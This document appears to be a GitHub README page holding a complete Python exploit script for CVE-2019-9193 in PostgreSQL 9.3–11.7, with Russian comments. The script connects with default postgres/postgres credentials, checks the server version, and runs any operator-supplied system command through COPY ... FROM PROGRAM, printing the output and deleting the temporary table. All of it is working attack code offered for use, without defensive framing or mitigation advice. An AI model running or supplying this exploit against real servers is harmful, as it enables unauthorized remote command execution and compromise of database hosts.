README.md
Rendering markdown...
import psycopg2
import argparse
import hashlib
import time
# Парсинг и обработка аргументов
def parse_arguments():
parser = argparse.ArgumentParser(
description='Exploit CVE-2019-9193 - PostgreSQL 9.3-11.7 Authenticated RCE')
# параметры для подключения к базе данных и выполнения команды
parser.add_argument('-i', '--ip', type=str, default='127.0.0.1',
help='IP-адрес PostgreSQL сервера [По умолчанию: 127.0.0.1]')
parser.add_argument('-p', '--port', type=int, default=5432,
help='Порт PostgreSQL сервера [По умолчанию: 5432]')
parser.add_argument('-d', '--database', default='template1',
help='Имя базы данных PostgreSQL [По умолчанию: template1]')
parser.add_argument('-c', '--command', help='Системная команда для выполнения')
parser.add_argument('-t', '--timeout', type=int, default=10,
help='Тайм-аут подключения в секундах [По умолчанию: 10]')
parser.add_argument('-U', '--user', default='postgres',
help='Имя пользователя для подключения [По умолчанию: postgres]')
parser.add_argument('-P', '--password', default='postgres',
help='Пароль для подключения [По умолчанию: postgres]')
return parser.parse_args()
# Проверка уязвимости по версии PostgreSQL
def check_pg_vulnerability(connection):
cursor = connection.cursor()
cursor.execute("SELECT version()")
pg_version_info = cursor.fetchall()
cursor.close()
pg_version_str = extract_version(pg_version_info)
pg_version_number = float(pg_version_str.split("PostgreSQL ")[1][:4])
# Проверка уязвимой версии PostgreSQL
if 9.3 <= pg_version_number <= 11.7:
print(f"[+] Уязвимая версия PostgreSQL обнаружена: {pg_version_number}")
else:
print(f"[-] Версия PostgreSQL {pg_version_number} не уязвима")
exit()
# Соединение с базой данных
def connect_to_database(args):
try:
print(f"\r\n[+] Подключение к базе данных PostgreSQL на {args.ip}:{args.port}")
conn = psycopg2.connect(
database=args.database,
user=args.user,
password=args.password,
host=args.ip,
port=args.port,
connect_timeout=args.timeout
)
print("[+] Соединение успешно установлено")
return conn
except psycopg2.OperationalError as conn_error:
print(f"[-] Ошибка подключения: {conn_error}")
exit()
# Выполнение команды через уязвимость PostgreSQL
def execute_command_via_pg(conn, cmd):
cursor = conn.cursor()
table_name = generate_table_name()
try:
print(f"[+] Создание временной таблицы: {table_name}")
cursor.execute(f"""
DROP TABLE IF EXISTS {table_name};
CREATE TABLE {table_name}(output TEXT);
COPY {table_name} FROM PROGRAM '{cmd}';
SELECT * FROM {table_name};
""")
print("[+] Команда успешно выполнена")
# Извлечение и вывод результата команды
command_result = cursor.fetchall()
output = extract_version(command_result)
print(output)
# Удаление временной таблицы
cursor.execute(f"DROP TABLE {table_name}")
print(f"[+] Временная таблица {table_name} удалена")
except psycopg2.errors.ExternalRoutineException as e:
print(f"[-] Ошибка выполнения команды: {e.pgerror}")
print(f"[+] Удаление временной таблицы {table_name}")
cursor.execute(f"DROP TABLE {table_name}")
finally:
cursor.close()
# Генерация уникального имени таблицы на основе хэша текущего времени
def generate_table_name():
return "temp_" + hashlib.md5(time.ctime().encode('utf-8')).hexdigest()
# Извлечение версии PostgreSQL из результата запроса
def extract_version(records):
return "\r\n".join(record[0] for record in records)
# Основной метод запуска эксплуатации уязвимости
def exploit(args):
connection = connect_to_database(args)
check_pg_vulnerability(connection)
if args.command:
execute_command_via_pg(connection, args.command)
else:
print("[+] Используйте аргумент -c для выполнения системной команды")
if __name__ == "__main__":
args = parse_arguments()
exploit(args)